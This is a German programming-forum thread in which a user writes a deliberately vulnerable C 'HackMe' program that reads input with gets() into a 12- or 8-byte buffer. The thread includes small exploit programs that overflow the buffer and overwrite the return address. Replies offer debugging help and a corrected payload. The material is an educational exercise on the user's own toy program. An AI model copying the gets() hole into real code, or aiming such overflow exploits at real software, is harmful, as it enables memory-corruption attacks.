Meine erste HackMe



  • Hi,ich habe folgende HackMe(programm das dazu da ist von anderen 4fun gecrackt zu werden)geschrieben:

    //bsp.exe
    #include <iostream>
    
    int wahoo(void)
    {
    char buffer[12];
    puts ("Wie heisst du?");
    gets(buffer);
    printf("Hallo, %s!\n",buffer);
    if (!strcmp(buffer,"BLIBLABLUBB"))
      return 1;
      return 0;
    }
    
    int main(void)
    {
    if (wahoo())
    puts ("Du kennst das Geheimnis!");
    else 
    puts("Hau ab!");
    
    return 0;
    
    }
    

    ,und will mit folgendem Exploit "Du kennst das Geheimniss" als ausgabe bekommen:

    //exploit.exe
    #include <iostream>
    
    int main(void)
    {
    printf("123456789abc");
    printf("1234");
    printf("%c%c%c",0x5f,0x13,0x40);
    fflush(stdout);
    return 0;
    
    }
    

    Dabei hab ich gdb benutzt um die Rücksprungadresse zu bekommen,hier ein Bild der Konsole,mit gdb-ausgabe und Aufruf von bsp.exe mit dem Exploit als Eingabe:
    Konsole

    Wisst ihr an was das liegt?
    Hoffe mir kann wer helfen,danke im Voraus,
    Xalon



  • Was hindert dich daran BLIBLABLUBB einzugeben? Der String ist hard-coded im Programm zu finden und fällt auch im HexEditor dezent auf.

    Oder soll die Sicherheitslücke nun gets() mit buffer[12] sein?

    MfG SideWinder



  • Die sicherheitslücke soll ein Pufferüberlauf also gets()+buffer[] sein.

    mfg
    Xalon



  • Ich sag nur zotteljedi.de 😉



  • Zotteljedi Tutorial

    Genau das Tut hab ich 😉 aber von einer anderen Seite.

    [edit]GESCHAFFT:

    #include <iostream>
    using namespace std;
    void wahoo(int);
    
    int wahoo(void)
    {
    char buffer[8];
    puts ("Wie heisst du?");
    gets(buffer);
    printf("Hallo, %s!\n",buffer);
    if (!strcmp(buffer,"BLIBLABLUBB"))
      return 1;
      return 0;
    }
    
    int main(void)
    {
    if (wahoo())
    puts ("Du kennst das Geheimnis!");
    else 
    puts("Hau ab!");
    
    return 0;
    
    }
    

    Wurde mit

    #include <iostream>
    
    int main(void)
    {
    printf("12345678");
    printf("1234");
    printf("%c%c%c%c",0x57,0x13,0x40,0x00);
    fflush(stdout);
    return 0;
    }
    

    Gehackt/crackt/exploitet 😮
    [/edit]

    Aber wenn ich den Buffer statt 8 die Größe 12 gib und beim exploit statt 12345678 zum überschreiben des puffers 123456789abc
    schreib funzt es nicht?! WARUM?

    Xalon



  • Kenn mich da nicht so aus, aber vllt. gibts zwischen Linux und Windows nen Unterschied.



  • Zu früh abgeschickt, versuch mal (mit 12er buffer):

    #include <iostream>
    
    int main(void)
    {
    printf("123456789abc");
    printf("%c%c%c%c",0x57,0x13,0x40,0x00);
    //printf("1234"); //man muss den base pointer ja nicht zwingend killen, wenn es auch so geht
    fflush(stdout);
    return 0;
    }
    


  • habe auch ein problem, und zwar beginnt der gets-puffer in meinem fehlerhaften programm dummerweise auf 0x080485d4. blöd, weil 0x04 das ende der übertragung (end of transmission) bedeutet und den gets-aufruf beendet.


Anmelden zum Antworten